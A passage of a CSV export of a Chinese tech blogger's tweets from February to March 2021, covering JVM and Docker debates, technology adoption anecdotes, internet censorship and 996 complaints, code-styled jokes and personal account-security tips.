08:09:43+00:00,1,0,0,,@xzy_yang 是外面，擦不到😅,,https://twitter.com/haoel/status/1371373029096185861\n3240,1371312648256516100,2021-03-15 04:09:47+00:00,0,0,0,,@kennetsu_rinn 哦，这本书可能是推荐过，挺好的一本书。,,https://twitter.com/haoel/status/1371312648256516100\n3241,1371293902108467204,2021-03-15 02:55:18+00:00,1,0,0,,@kennetsu_rinn 我应该从来没有推荐过Oracle相关的书啊（如果有的话，那一定是我喝醉了，因为我对Oracle也不懂啊）,,https://twitter.com/haoel/status/1371293902108467204\n3242,1371293467528163335,2021-03-15 02:53:34+00:00,0,0,0,,@dushixiang @LordSimon 是的，所说是资源隔离技术。,,https://twitter.com/haoel/status/1371293467528163335\n3243,1371276859783012355,2021-03-15 01:47:35+00:00,18,0,1,,@Gnaw21541551 真是差不多了 https://t.co/EnPJQBBoTg,,https://twitter.com/haoel/status/1371276859783012355\n3244,1371274392445931521,2021-03-15 01:37:46+00:00,372,36,59,,今天早上起床是被沙味搞醒的，我还以为家里什么东西味了……眼一睁，光线金黄，打开窗帘，烟雾迷漫，黄沙满天…… https://t.co/tuBdxZYkRO,,https://twitter.com/haoel/status/1371274392445931521\n3245,1371132075726704640,2021-03-14 16:12:15+00:00,7,0,0,,@kevinzhow PHP,,https://twitter.com/haoel/status/1371132075726704640\n3246,1371090465299238920,2021-03-14 13:26:55+00:00,1,0,1,,\"@LordSimon 不管怎么说，很高兴跟你讨论。\n\n原文：The Java Virtual Machine has been replaced by the “Linux Virtual Machine”\n\nhttps://t.co/A2o6XocufP\",\"[TextLink(text='medium.com/star-gazers/ja…', url='https://medium.com/star-gazers/java-and-c-is-obsolete-in-the-age-of-docker-39fb0d28f8b6', tcourl='https://t.co/A2o6XocufP', indices=(105, 128))]\",https://twitter.com/haoel/status/1371090465299238920\n3247,1371087397832691714,2021-03-14 13:14:43+00:00,0,0,1,,@LordSimon 原文中的VM自然是指Wikipedia 里的System级别的，JVM是Processor级别的，Wikipedia里面的区别也是很明显的，和我给你的StackOverflow上的完全一致。这本来就是两种系统。但是你要说他们概念上是不是VM，那没问题。但在这种高阶概念上讨论原文作者所谓的VM（Sys VM ）取代JVM这种观点，感觉是抬杠……,,https://twitter.com/haoel/status/1371087397832691714\n3248,1371084524306591747,2021-03-14 13:03:18+00:00,21,5,0,,更正一下：JVM不是虚拟操作系统的API，而是虚拟了一整套的处理器和其指令……另外给个StackOverflow的引用：https://t.co/g0OvqGRkO2,\"[TextLink(text='stackoverflow.com/questions/8614…', url='https://stackoverflow.com/questions/861422/is-the-java-virtual-machine-really-a-virtual-machine-in-the-same-sense-as-my-vmw', tcourl='https://t.co/g0OvqGRkO2', indices=(60, 83))]\",https://twitter.com/haoel/status/1371084524306591747\n3249,1371083481028038657,2021-03-14 12:59:10+00:00,1,0,2,,@LordSimon 我的原话也不对。JVM不是虚拟操作系统的API，而是一整套的处理器指令。,,https://twitter.com/haoel/status/1371083481028038657\n3250,1371082972904878084,2021-03-14 12:57:08+00:00,1,0,1,,@LordSimon 如果我们都在谈，你怎么认为，我怎么认为，那么一点意义也没有。在自己的主观见解上争论没有意义。不如你我都谷歌一下，找一些权威引用或是公认的理解会更好。我已经谷歌了一个stackoverflow的，我想看看你也来个引用来支持你的观点。,,https://twitter.com/haoel/status/1371082972904878084\n3251,1371079902812762112,2021-03-14 12:44:56+00:00,1,0,1,,@LordSimon JVM是字节码，说硬件直接支持Java的字节码也没问题，但与VM也是两码事，VM是运行一个完整的操作系统，要的是整出些假硬件来骗过操作系统……,,https://twitter.com/haoel/status/1371079902812762112\n3252,1371077746407788550,2021-03-14 12:36:22+00:00,0,0,0,,@LordSimon 建议你谷歌一下，你就觉得是攻击你不懂。不必这么敏感，我帮你搜：https://t.co/g0OvqGRkO2,\"[TextLink(text='stackoverflow.com/questions/8614…', url='https://stackoverflow.com/questions/861422/is-the-java-virtual-machine-really-a-virtual-machine-in-the-same-sense-as-my-vmw', tcourl='https://t.co/g0OvqGRkO2', indices=(42, 65))]\",https://twitter.com/haoel/status/1371077746407788550\n3253,1371071144715980806,2021-03-14 12:10:08+00:00,2,0,1,,@dushixiang @LordSimon Docker模拟CPU内存？我没听错吧,,https://twitter.com/haoel/status/1371071144715980806\n3254,1370964465714274307,2021-03-14 05:06:14+00:00,380,43,15,,\"他们说区块链不会骗人\n但是他们用区块链骗人\",,https://twitter.com/haoel/status/1370964465714274307\n3255,1370961941980532738,2021-03-14 04:56:12+00:00,112,9,6,,刚看了一下那篇英文文章，太扯了。1）JVM和VM是两回事，前者虚拟系统调用层面，后者虚拟硬件，完全两回事。2）Docker更多玩的是进程级的环境隔离，不是虚拟化。3）跨平台已经是默认选项了，技术生态和企业级解决方案才是核心竞争力……,,https://twitter.com/haoel/status/1370961941980532738\n3256,1370893626625040385,2021-03-14 00:24:45+00:00,4,0,0,,@petrichor707 @YouTube 让我听到混身鸡皮疙瘩的歌：https://t.co/nJxn5SPcMd,\"[TextLink(text='youtu.be/LYkOG5OmUcA', url='https://youtu.be/LYkOG5OmUcA', tcourl='https://t.co/nJxn5SPcMd', indices=(36, 59))]\",https://twitter.com/haoel/status/1370893626625040385\n3257,1370891682267340802,2021-03-14 00:17:01+00:00,1,0,0,,@Yuan_Chenhao 谢谢，整理的不错,,https://twitter.com/haoel/status/1370891682267340802\n3258,1370750276206874626,2021-03-13 14:55:07+00:00,484,82,26,,再补一条让大家思考的：中文区的互联网趋向于越来越封闭，能深度讨论的事越来越少，而全网都在创造“10万+”，一切唯流量是首，目的只是为了迎合看热闹的大众，收割流量，而不是输出有价值的东西，仅有的有价值的内容也都在被私有化起来变现……所以，从长远的角度来看，中文圈的信息只会越来越差……,,https://twitter.com/haoel/status/1370750276206874626\n3259,1370747756982140929,2021-03-13 14:45:07+00:00,4,0,0,,@isTotallyNotTim https://t.co/HdZAEVdfgI,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1370701217639276545', tcourl='https://t.co/HdZAEVdfgI', indices=(17, 40))]\",https://twitter.com/haoel/status/1370747756982140929\n3260,1370701217639276545,2021-03-13 11:40:11+00:00,85,8,0,,@kaiby99 教育嘛，不要讲道理，给出正例和反例，让当事人自己体会——为什么用对工具和学好英文有重要……,,https://twitter.com/haoel/status/1370701217639276545\n3261,1370698232561475587,2021-03-13 11:28:19+00:00,30,1,3,,@mzhb 错了，一般普通人才是这样的含糊其词的。聪明人通常都是提前于大众看到大众看不到的东西。,,https://twitter.com/haoel/status/1370698232561475587\n3262,1370697323722854405,2021-03-13 11:24:42+00:00,462,68,20,,今天孩子写手账让我教她纯文字排版。于是，我打开百度，输入“文字排版设计”，孩子发现不是她想要的，然后打开谷歌搜中文，质量好点了，但还是不行。此时，我在谷歌里输入layout design，一下就找到不错教程和图片，然后我再到pinterest上用英文搜，孩子一下就兴奋了，指着屏说要这个那个…… #教育孩子,,https://twitter.com/haoel/status/1370697323722854405\n3263,1370694127109562371,2021-03-13 11:12:00+00:00,0,0,0,,@e703 @songma 早已经评价过了，请搜我的以前折推。,,https://twitter.com/haoel/status/1370694127109562371\n3264,1370686545686982658,2021-03-13 10:41:53+00:00,2,0,1,,@songma 都是有时间的考验的，应该引不了战。能引战的通常都是还没足够长的时间考验的话题……,,https://twitter.com/haoel/status/1370686545686982658\n3265,1370676963208097792,2021-03-13 10:03:48+00:00,100,12,13,,说了那么多别人的，也说两个我自己的，2009年朋友拿个iPhone推荐我，我说这东西就是个玩具，一点也不屑，现在则是苹果的重度用户……2009年以前觉得C/C++是大杀器，Java太弱……若干年后，老老实实地用Java，现在，再有人问我，一个公司的技术选型，在大多数情况下我会毫不犹豫地说Java！ (7/7),,https://twitter.com/haoel/status/1370676963208097792\n3266,1370676961983401986,2021-03-13 10:03:48+00:00,35,1,4,,5）有些做调用链监控系统的，把调用链的数据全部hold在内存，直到所有的调用完成才发出去。做为一个监控系统的探针，最重要的是不能耗资源，不要影响实际的应用。尽可能的快速处理和标注数据，其他的都应该交给专门的系统去完成。当我提出质疑后却也被骂的狗血淋头……  (6/7),,https://twitter.com/haoel/status/1370676961983401986\n3267,1370676960712478723,2021-03-13 10:03:48+00:00,42,4,14,,4）2019年初，在微信公众号上看到一篇某互联网老兵的文章，在文章中推荐对restful API的调用无论成功还是失败，一率返回HTTP 200，我在后台留言问他是不是认真的？他斩钉截铁地说，是的，就是这样……我只能回复，你真敢推荐……我实在不明白，都到今天了，国内的公司还是喜欢这么干……  (5/7),,https://twitter.com/haoel/status/1370676960712478723\n3268,1370676959399710726,2021-03-13 10:03:47+00:00,23,0,1,,3）2016年，在给某大公司做咨询的时候，我发现他们使用了mesos做容器调度中间件，我跟他们说，mesos不是面向服务的，也不是声明式的，你们一定要用kubernetes，直到2017年，他们发现，他们用mesos的framework做出了浓浓的kubernetes的味道……  (4/7),,https://twitter.com/haoel/status/1370676959399710726\n3269,1370676957981995008,2021-03-13 10:03:47+00:00,37,0,2,,2）2014年，在使用了 docker 后，发现这东西太牛了，于是各种推荐，然而，当时在公司里的各种大咖对比较质疑，最大的一位技术咖对我说，有了rpm包后还要docker干什么？另一位大咖说，docker这种新技术是概念是昙花一现，还有一个高管对我说，开源软件不靠谱……2018这家公司正式拥抱docker…… (3/7),,https://twitter.com/haoel/status/1370676957981995008\n3270,1370676956115574786,2021-03-13 10:03:46+00:00,37,0,3,,1）2010年，在使用了 git 版本管理工具后，我觉得这个东西很不错，于是开始向大家推荐，然而，被好些人说 git 的各种问题，微博上各种“专家式的评论”，什么模型复杂，反人类，垃圾设计……几年过去了，git和相关生态已经成为了主流，当年写《痛恨git 的10个理由》的人，现在也在做git 的生意……(2/7),,https://twitter.com/haoel/status/1370676956115574786\n3271,1370676953032712192,2021-03-13 10:03:46+00:00,462,84,14,,学习是一辈子的事情，人的判断力通常会和人的学习能力成正比，人的学习能力又与眼界和认知成正比。做技术这么长时间，经历了好些“有趣”的事，我这里例举一些，好些是发生在圈内“名人”身上，一方面供大家参考，另一方面也给自己提个醒——永远坚持努力学习，永远保持与世界接轨。(1/7),,https://twitter.com/haoel/status/1370676953032712192\n3272,1370328919837003776,2021-03-12 11:00:48+00:00,0,0,1,,@LiarLee93 移动和电信的墙都是高高的。,,https://twitter.com/haoel/status/1370328919837003776\n3273,1370311753817415684,2021-03-12 09:52:35+00:00,7,0,6,,又来新的推荐了…… https://t.co/3sjKldB2Vc,,https://twitter.com/haoel/status/1370311753817415684\n3274,1370299492377894913,2021-03-12 09:03:52+00:00,259,19,49,,\"最近的网络，只能全局代理模式，github基本不能用，Web，命令行，SSH全部得加上代理，才能正常……\n\nselect finger from hand where name=\"\"middle\"\";\",,https://twitter.com/haoel/status/1370299492377894913\n3275,1370295187944087556,2021-03-12 08:46:46+00:00,4,0,1,,@kevinzhow 就是GFW在干扰。,,https://twitter.com/haoel/status/1370295187944087556\n3276,1370293590165913601,2021-03-12 08:40:25+00:00,1,0,1,,@kevinzhow 全翻墙还可以正常访问,,https://twitter.com/haoel/status/1370293590165913601\n3277,1370293298590404610,2021-03-12 08:39:15+00:00,1,0,1,,@kevinzhow 域名直接变成：https://t.co/nY6R4sVacA 好诡异啊,\"[TextLink(text='appleid.apple.cơm', url='http://appleid.apple.xn--cm-2ya', tcourl='https://t.co/nY6R4sVacA', indices=(18, 41))]\",https://twitter.com/haoel/status/1370293298590404610\n3278,1370277324629807109,2021-03-12 07:35:47+00:00,11,0,3,,@waylybaye 周末了，要不Baye开个CH，我们一起来聊这个话题……,,https://twitter.com/haoel/status/1370277324629807109\n3279,1370247008431173638,2021-03-12 05:35:19+00:00,1,0,0,,@zjn131452 没问题啊……感觉我很萌萌的……,,https://twitter.com/haoel/status/1370247008431173638\n3280,1370238473903378440,2021-03-12 05:01:24+00:00,0,0,0,,@CharlesC_ai https://t.co/adVIKJhIlv,,https://twitter.com/haoel/status/1370238473903378440\n3281,1370235645759610880,2021-03-12 04:50:10+00:00,35,0,8,,\"s/讨论/讨厌/g\ns/名子/名字/g\",,https://twitter.com/haoel/status/1370235645759610880\n3282,1370235076101873669,2021-03-12 04:47:54+00:00,75,4,37,,我也希望对方能直呼我的名字，我比较讨论叫我什么“陈总”、“皓总”之类的，感觉很官僚，每次别人叫我这样我都要制止对方。我也不喜欢别人叫我“陈老师”，因为我觉得不够格，而且把我叫成“陈冠希”了，我还是喜欢对我直呼我的名子，如果想亲切点就叫我“耗子”“耳朵”都行……但对方总是叫不出口 ，哎…（2/2）,,https://twitter.com/haoel/status/1370235076101873669\n3283,1370235074671562760,2021-03-12 04:47:54+00:00,212,12,48,,老实说，我是很不喜欢排资论辈，首当其冲是不喜欢中国人的那堆尊称，什么XX总，XX老师、XX哥、XX姐、XX叔……只要年纪大，资历深，就一定要带上尊称，不像外国人，不管什么人，直接称呼名字就好了。很多时候，我都叫对方名字，如果对方名字三个字，我非常喜欢叫后面两个字，感觉很亲切…… （1/2）,,https://twitter.com/haoel/status/1370235074671562760\n3284,1370228380730200065,2021-03-12 04:21:18+00:00,15,0,0,,@1ancet 什么晚辈前辈，排资论辈要不得，今天的技术突飞猛进的这种节奏，导致我们每个人都是新手，况且安全圈对我来说还是跨界。,,https://twitter.com/haoel/status/1370228380730200065\n3285,1370210229439188992,2021-03-12 03:09:10+00:00,3,0,1,,@1ancet 太看得起了我，有点心慌……,,https://twitter.com/haoel/status/1370210229439188992\n3286,1370205015684485121,2021-03-12 02:48:27+00:00,7,0,1,,@1ancet 我想旁听,,https://twitter.com/haoel/status/1370205015684485121\n3287,1370004211488804868,2021-03-11 13:30:32+00:00,38,1,29,,微信朋友圈的广告，天天给我推送各种“金融贷”，我的用户标签一定是死死的是“韭菜”了，我一次都没有点进去看过，还不断地给我推，这算法实在是太差了…… https://t.co/ELzM7tGchQ,,https://twitter.com/haoel/status/1370004211488804868\n3288,1369997376111276034,2021-03-11 13:03:22+00:00,7,0,2,,@songma 除了让我买保险让我贷款的电话，从来没有结果什么高端会所的电话……看来我的标签是韭菜。,,https://twitter.com/haoel/status/1369997376111276034\n3289,1369971271421681664,2021-03-11 11:19:38+00:00,0,0,1,,@shajiabiji 炫耀贴啊。,,https://twitter.com/haoel/status/1369971271421681664\n3290,1369962783551332353,2021-03-11 10:45:54+00:00,2,0,0,,@fujohnwang 嗯，主要是想模似出最真实的场景，所以，需要有多种流量模型。,,https://twitter.com/haoel/status/1369962783551332353\n3291,1369960296979132416,2021-03-11 10:36:02+00:00,37,2,1,,前两天在设计压力测试工具，需要定义流量模型，于是想到了数学中从点到线再到面的方式。先设计一个固定值，然后，在上面构造一个由多种固定值组成的数列，数列分三种，一种是可以被简单公式定义的，一种是完全随机的，一种则人为安排的。然后，在上面对这三种数列上进行组合和循环……简单且足够灵活。,,https://twitter.com/haoel/status/1369960296979132416\n3292,1369954458130477061,2021-03-11 10:12:49+00:00,53,4,23,,偶尔会有人问我的手机首屏是什么应用，其实，用iPhone手机，你常用的app并不一定非要放在首屏，因为iPhone会记下上次你关闭屏幕所在的页面，再次打开时还是那一样，所以，你常用的APP只需要放在一屏就好了，至于放在哪一屏无所谓……我的第一屏和第二屏基本上保持了出厂的的排列…… https://t.co/2r44HY3NZQ,,https://twitter.com/haoel/status/1369954458130477061\n3293,1369672885996908544,2021-03-10 15:33:57+00:00,56,1,37,,做个调查，玩区块链炒币的人看到ETC是不是会觉得是一种数字货币？,,https://twitter.com/haoel/status/1369672885996908544\n3294,1369663999483072513,2021-03-10 14:58:39+00:00,0,0,1,,@CindyCreation 没办法，年轻的时候喜欢上了她…… https://t.co/R7L7LkS4pG,,https://twitter.com/haoel/status/1369663999483072513\n3295,1369661004976517121,2021-03-10 14:46:45+00:00,1,0,1,,@CindyCreation 你不但漂亮，还很诚实,,https://twitter.com/haoel/status/1369661004976517121\n3296,1369659039701889027,2021-03-10 14:38:56+00:00,0,0,1,,@CindyCreation 你们是不是物理PS（化妆）后再用数码PS？,,https://twitter.com/haoel/status/1369659039701889027\n3297,1369657797659353091,2021-03-10 14:34:00+00:00,0,0,1,,@CindyCreation 感觉好像都一样,,https://twitter.com/haoel/status/1369657797659353091\n3298,1369654629856808960,2021-03-10 14:21:25+00:00,2,0,0,,@sagacity @repoog 好的，我努力！,,https://twitter.com/haoel/status/1369654629856808960\n3299,1369650391948791808,2021-03-10 14:04:34+00:00,14,1,2,,@repoog @sagacity 我更喜欢，10个人赚2000万的公司,,https://twitter.com/haoel/status/1369650391948791808\n3300,1369647270459629576,2021-03-10 13:52:10+00:00,0,0,0,,@petrichor707 同意！真诚最能打动人！我之前说的也只是逗个乐玩玩……😝,,https://twitter.com/haoel/status/1369647270459629576\n3301,1369276927916220416,2021-03-09 13:20:34+00:00,113,25,20,,看到了两个关于996的委员建议…… https://t.co/6qdoa6mAt4,,https://twitter.com/haoel/status/1369276927916220416\n3302,1368916942015270923,2021-03-08 13:30:06+00:00,127,11,6,,这里面有很多的优化，我知道的一个优化就是，把离你最近的仓库里的第三方商户同样的商品直接给你，然后，把自营的商品还给第三方商户，这样可以实现商品的瞬移……（前提是需要用一个唯一商品标识符，也就是亚麻的ASIN - Amazon Standard Identification Number）,,https://twitter.com/haoel/status/1368916942015270923\n3303,1368900688650989568,2021-03-08 12:25:31+00:00,1,0,0,,@C6NMyrt 谢谢,,https://twitter.com/haoel/status/1368900688650989568\n3304,1368900640454275074,2021-03-08 12:25:20+00:00,0,0,2,,@lawyu 我还天天在用呢……简直了……,,https://twitter.com/haoel/status/1368900640454275074\n3305,1368893194906210305,2021-03-08 11:55:45+00:00,62,10,12,,\"使用 \"\"The Great Suspender\"\" 插件，开再多也不怕，不活跃的tab自动帮你exit，但是页面还在……\",,https://twitter.com/haoel/status/1368893194906210305\n3306,1368737324369014785,2021-03-08 01:36:22+00:00,80,12,3,,过去已经无法挽回，但是可以改变未来，别让明天后悔今天所做的……,,https://twitter.com/haoel/status/1368737324369014785\n3307,1368716580918423554,2021-03-08 00:13:57+00:00,10,1,1,,好吧,,https://twitter.com/haoel/status/1368716580918423554\n3308,1368580705710526465,2021-03-07 15:14:01+00:00,1,0,0,,@lx139710 输在起跑线？,,https://twitter.com/haoel/status/1368580705710526465\n3309,1368579319342112775,2021-03-07 15:08:31+00:00,179,31,34,,下面的视频在朋友圈，讲的是不错。然而现实呢……老实说，这种话从我还在上中学的时候就在说了，三十多年过去了，孩子更辛苦了，大学扩招了这么多年，本以为应该轻松点了，但分数比以前变得更重要了，从初中就开始996，一切都在变本加利……如果要真正做到好的教育，我觉得只能离开现有的教育体制…… https://t.co/MKgTfQLVhr,,https://twitter.com/haoel/status/1368579319342112775\n3310,1368480789235560452,2021-03-07 08:36:59+00:00,10,0,1,,两个糊涂蛋，一个把发给别人的邀请码发给了我，而我则看错了邀请时间。对方是凌晨四点才睡，而我中午11点才刚刚起床，睡眼惺忪…… https://t.co/c1oeuJidwQ,,https://twitter.com/haoel/status/1368480789235560452\n3311,1368007286908620806,2021-03-06 01:15:28+00:00,274,55,7,,每次看都令人感动,,https://twitter.com/haoel/status/1368007286908620806\n3312,1367993875101478912,2021-03-06 00:22:10+00:00,0,0,1,,@hpdzpjb 有感而发,,https://twitter.com/haoel/status/1367993875101478912\n3313,1367856705309085701,2021-03-05 15:17:06+00:00,1025,224,15,,\"只要运动，你就一定会受伤\n只要做事，你就一定会犯错\n只要推动事，你就一定会得罪人\n只要有观点，你就一定会被人骂\n只要你不世故，就一定有人来教育你\n只要你有成绩，就一定有人说长道短\n\n这个世界从来不缺阻止你的人\n所以，你一定不要害怕和畏缩\n唯有更多更果敢的行动和坚持\n才有更灿烂的突破与绽放\",,https://twitter.com/haoel/status/1367856705309085701\n3314,1367845896994451462,2021-03-05 14:34:09+00:00,6,0,1,,@Tiancaixinxin @tinyfool @joinClubhouse 总是会有一些这样的人来诋毁你，不要理他们，有人诋毁你，证明你比他成功。诋毁我的人也很多，有几个是长达数十年的，与其花时间在这些人身上，不如花时间提升自己，让自己变得更优秀，这样就有更高的可能性去接触更聪明更成功更高层次的人。多关注支持你的人。我支持你！,,https://twitter.com/haoel/status/1367845896994451462\n3315,1367839526173900808,2021-03-05 14:08:50+00:00,15,4,0,,昨晚我也看了这篇文章……,,https://twitter.com/haoel/status/1367839526173900808\n3316,1367318944634183690,2021-03-04 03:40:14+00:00,21,2,19,,早上看到朋友圈广告，点进去一看，17999，再到京东一看24000…… https://t.co/FzXLv6WcFh,,https://twitter.com/haoel/status/1367318944634183690\n3317,1367310307190706176,2021-03-04 03:05:55+00:00,9,1,6,,明显不难嘛，至少有三个解：1）先送女的回家，2）如果住同一个地方，让女的先走，3）三人一起下车送女的先回家。,,https://twitter.com/haoel/status/1367310307190706176\n3318,1367310093595734018,2021-03-04 03:05:04+00:00,4,0,2,,@OneUbuntuer @caolei1 明显不难嘛，至少有三个解：1）先送女的回家，2）如果住同一个地方，让女的先走，3）三人一起下车送女的先回家。,,https://twitter.com/haoel/status/1367310093595734018\n3319,1367151686490357761,2021-03-03 16:35:37+00:00,738,118,44,,加入了一个中文独立博客微信群，里面居然还有几个00后，建自己的独立域名博客，而不写微信公众号……其中一个年轻人还在上高中……大家可以围观一下他的博文：https://t.co/OKx80T0Edk ，让我瞬间我对他们的未来充满了期待……（p.s. 顺便贴一下我的观点） https://t.co/wy6C67JhZB,\"[TextLink(text='xiaofm.cn/10years.html', url='https://www.xiaofm.cn/10years.html', tcourl='https://t.co/OKx80T0Edk', indices=(75, 98))]\",https://twitter.com/haoel/status/1367151686490357761\n3320,1366939116638625794,2021-03-03 02:30:56+00:00,2,0,0,,@Io0o0o0o0o0o0l 没有专业的前端程序员，见谅……,,https://twitter.com/haoel/status/1366939116638625794\n3321,1366933837050118148,2021-03-03 02:09:57+00:00,2,0,1,,@breaver1 不是平遥么？,,https://twitter.com/haoel/status/1366933837050118148\n3322,1366933460439367682,2021-03-03 02:08:28+00:00,101,6,10,,\"我们在我们的产品全部合起来做一个统一平台，今天在开发环境看到小伙伴用——\"\"Make Cloud Great Again\"\"作slogan……嗯，不装了，我司的MEGA其实是——Make Everything Great Again…… https://t.co/D5dHKHngUN\",,https://twitter.com/haoel/status/1366933460439367682\n3323,1366902381053546497,2021-03-03 00:04:58+00:00,59,10,14,,是的，我这里还有很多只能在广州才能查看的gz文件……,,https://twitter.com/haoel/status/1366902381053546497\n3324,1365868695541608448,2021-02-28 03:37:28+00:00,7,0,0,,@PR0GRAMMERHUM0R More,,https://twitter.com/haoel/status/1365868695541608448\n3325,1365868549361729536,2021-02-28 03:36:53+00:00,4,0,0,,@geniusvczh https://t.co/3ky6UB7BYW,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1183295697472258048', tcourl='https://t.co/3ky6UB7BYW', indices=(12, 35))]\",https://twitter.com/haoel/status/1365868549361729536\n3326,1365503063637643265,2021-02-27 03:24:34+00:00,111,20,1,,这种实时文档真的可以提升效率……,,https://twitter.com/haoel/status/1365503063637643265\n3327,1365162630852218882,2021-02-26 04:51:49+00:00,6,0,3,,@wuhui3344 @brucebot 逻辑感人，国界是不让外国人进来，墙是不让本国人出去……,,https://twitter.com/haoel/status/1365162630852218882\n3328,1364927620937183235,2021-02-25 13:17:58+00:00,850,141,87,,总是有很多的年轻人来跟我说GFW是非常正确的，即是主权的象征，又是一种治理的智慧。从他们那富有见的、充满希望和信念坚定的意志，我感受到了我认知的浅溥，也仿佛看到用不了多久，他们也会明白996或每月工作300小时，也会是一种充满智慧的管理，是一种幸福的生活……对此，我对未来充满了期待……,,https://twitter.com/haoel/status/1364927620937183235\n3329,1364257399100465152,2021-02-23 16:54:45+00:00,323,63,3,,本周公司内部的分享视频《技术分享：Prometheus是怎么存储数据的 》https://t.co/yqEz581ZbD,\"[TextLink(text='youtu.be/qB40kqhTyYM', url='https://youtu.be/qB40kqhTyYM', tcourl='https://t.co/yqEz581ZbD', indices=(37, 60))]\",https://twitter.com/haoel/status/1364257399100465152\n3330,1364232185146871810,2021-02-23 15:14:33+00:00,5,0,0,,@laoyang945 Unicode😜,,https://twitter.com/haoel/status/1364232185146871810\n3331,1364221167511371788,2021-02-23 14:30:46+00:00,279,11,17,,我爸是个相当相当保守的人，我跟他生活观念完全不同，代沟数十年，经常吵，但还是会经常联系，刚刚电话快挂时，我爸说，“你别太辛苦了，找个工作吧……”，我正想怎么回复这句话，不想我爸马上又说，“……哦，还是算了，现在到处都是996，还每月300小时，你还是自己干吧……” 多年的代沟就这样化解了🤣,,https://twitter.com/haoel/status/1364221167511371788\n3332,1364188094589669376,2021-02-23 12:19:21+00:00,9,0,2,,@Ymc3Ymty s/小/少/g,,https://twitter.com/haoel/status/1364188094589669376\n3333,1363892169719734276,2021-02-22 16:43:27+00:00,21,4,0,,\"//Note: They always say that time changes things, but you actually are changed by time.\n\nlet things = you;\ntime.change(things);\",,https://twitter.com/haoel/status/1363892169719734276\n3334,1363890165924519936,2021-02-22 16:35:30+00:00,305,39,13,,$ cat weibo.2020.05.03.txt https://t.co/yUrVdIv6IE,,https://twitter.com/haoel/status/1363890165924519936\n3335,1363729461582065667,2021-02-22 05:56:55+00:00,12,0,2,,\"@waylybaye import web as \"\"https://t.co/vtf61pHuIz\"\";\nimport app as \"\"https://t.co/FtiRXgp2RL\"\";\",\"[TextLink(text='poop.moxie.health', url='https://poop.moxie.health', tcourl='https://t.co/vtf61pHuIz', indices=(26, 49)), TextLink(text='apps.apple.com/us/app/pcal-po…', url='https://apps.apple.com/us/app/pcal-poop-tracker-calendar/id1298536299', tcourl='https://t.co/FtiRXgp2RL', indices=(67, 90))]\",https://twitter.com/haoel/status/1363729461582065667\n3336,1363372763986059272,2021-02-21 06:19:31+00:00,46,1,18,,@waylybaye &lt;img src = “My_Dream_Girl.jpg”&gt; https://t.co/Rg9jXLn3Cc,,https://twitter.com/haoel/status/1363372763986059272\n3337,1363295301981724673,2021-02-21 01:11:43+00:00,0,0,0,,@nicozhangw 😇 “symbol not defined error! ” thanks!,,https://twitter.com/haoel/status/1363295301981724673\n3338,1363104945482788865,2021-02-20 12:35:18+00:00,3,0,2,,\"if ( You.Applied(this.Evernt)  &amp;&amp;\n       You.CheckEmail(EventBrite) == 0 ) {\n    SendMessage(Hao, \"\"ask for help!\"\" );\n}\",,https://twitter.com/haoel/status/1363104945482788865\n3339,1363003891923607555,2021-02-20 05:53:45+00:00,25,2,2,,select finger from hands where name=“thumb”;,,https://twitter.com/haoel/status/1363003891923607555\n3340,1362966405520318468,2021-02-20 03:24:48+00:00,66,3,8,,\"class Twitter implement ClubHouse {\n  public voiceChat() {\n      ...\n  }\n}; https://t.co/bcL2eH0u3i\",,https://twitter.com/haoel/status/1362966405520318468\n3341,1362915343228887048,2021-02-20 00:01:54+00:00,4,0,1,,close(application);,,https://twitter.com/haoel/status/1362915343228887048\n3342,1362424646352531460,2021-02-18 15:32:02+00:00,54,15,4,,\"{\n   \"\"Title\"\":\"\"How does Prometheus store the data\"\",\n   \"\"Speaker\"\":\"\"Hao Chen\"\",\n   \"\"Schedule\"\":\"\"Mon Feb 22 2021 20:00:00 GMT+0800\"\",\n   \"\"Method\"\":\"\"Online Zoom Meeting\"\",\n   \"\"Attendee\"\":20,\n   \"\"Application\"\":\"\"https://t.co/u4kbiuUxHU\"\"\n}\",\"[TextLink(text='forms.gle/QpXRgEZZr9oS1b…', url='https://forms.gle/QpXRgEZZr9oS1buz7', tcourl='https://t.co/u4kbiuUxHU', indices=(198, 221))]\",https://twitter.com/haoel/status/1362424646352531460\n3343,1361889480047665153,2021-02-17 04:05:29+00:00,31,8,4,,tips++;,,https://twitter.com/haoel/status/1361889480047665153\n3344,1361854443256381440,2021-02-17 01:46:15+00:00,91,4,15,,\"enum MyChineseOxYearHoliday {\n    Eat, \n    Sleep, \n    Greeting,\n    Party,\n    Movie, \n    Game,\n    Exercise,\n    Book,\n    ClubHouse,\n    Leetcode\n} day[7] ;\n...\n...\nwaste( day[6] );\nlog.debug(“the holiday is over! go back to work...”);\ngoto work;\",,https://twitter.com/haoel/status/1361854443256381440\n3345,1361843765703368709,2021-02-17 01:03:50+00:00,0,0,0,,@shell909090 &gt; nice brainfuck,,https://twitter.com/haoel/status/1361843765703368709\n3346,1361702720122486784,2021-02-16 15:43:22+00:00,159,6,55,,\"做个实验：接下来的一段时间，我会尝试只用计算机语言，命令，编码或符号的方式来写推文，表达观点，写段子，分享见闻，或回复推友……来试试看，是否能进行复杂的表达……\n\n$ /bin/twsh \n&gt; _\",,https://twitter.com/haoel/status/1361702720122486784\n3347,1361590603000270848,2021-02-16 08:17:51+00:00,2,0,0,,@ZaneJia 因为我这边是小团队又是远程 ，所以，要尽可能的外包一切支持性的事。https://t.co/fqtofzzlI1,\"[TextLink(text='coolshell.cn/articles/20765…', url='https://coolshell.cn/articles/20765.html', tcourl='https://t.co/fqtofzzlI1', indices=(42, 65))]\",https://twitter.com/haoel/status/1361590603000270848\n3348,1361241446448205825,2021-02-15 09:10:26+00:00,7,0,0,,@_lrtg 我觉得应该分开，我的密码放Apple 家，双因放Google家。,,https://twitter.com/haoel/status/1361241446448205825\n3349,1361240084951916548,2021-02-15 09:05:01+00:00,313,49,25,,\"帐号安全我有如下心得（请相关安全人员指正）：\n\n- 关键帐号开启2FA （形式不限）\n\n- 2FA尽量用大厂和普及的，因为安全拼实力和钱（我用Google Authenticator ）\n\n- 密码最好自己也记不住，放苹果钥匙串或第三方\n\n- 因为短信能找回密码，请开启SIM卡PIN码\n\n- 手机请用iPhone（开屏密码6位以上） https://t.co/ecABvgX0zB\",,https://twitter.com/haoel/status/1361240084951916548\n3350,1361234953804029953,2021-02-15 08:44:38+00:00,0,0,1,,@openlive_ @songma 